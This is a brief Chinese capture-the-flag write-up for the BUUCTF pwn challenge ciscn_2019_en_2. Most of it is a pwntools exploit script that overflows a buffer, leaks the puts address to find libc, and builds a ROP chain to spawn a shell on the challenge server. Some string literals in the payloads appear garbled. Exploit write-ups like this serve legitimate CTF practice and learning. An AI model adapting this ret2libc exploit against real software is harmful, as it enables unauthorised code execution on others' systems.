[BUUCTF]PWN9——ciscn_2019_en_2
题目网址:https://buuoj.cn/challenges#ciscn_2019_en_2
步骤:
例行检查,64位,开启了NX保护
nc一下看看程序的执行大概流程,看这个模样很眼熟
ida查看了一下程序,确定了跟之前的
[BUUCTF]PWN6——ciscn_2019_c_1
一样,具体的看那题的链接
exp:
from pwn import*
from LibcSearcher import*
r=remote('node3.buuoj.cn',25843)
elf=ELF('./ciscn_2019_en_2')
main=0x400b28
pop_rdi=0x400c83
ret=0x4006b9
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
r.sendlineafter('choice!
','1')
payload=' '+'a'*(0x50-1+8)
payload+=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main)
r.sendlineafter('encrypted
',payload)
r.recvline()
r.recvline()
puts_addr=u64(r.recvuntil('
')[:-1].ljust(8,' '))
print hex(puts_addr)
libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system')
r.sendlineafter('choice!
','1')
payload=' '+'a'*(0x50-1+8)
payload+=p64(ret)
payload+=p64(pop_rdi)
payload+=p64(binsh)
payload+=p64(system)
r.sendlineafter('encrypted
',payload)
r.interactive()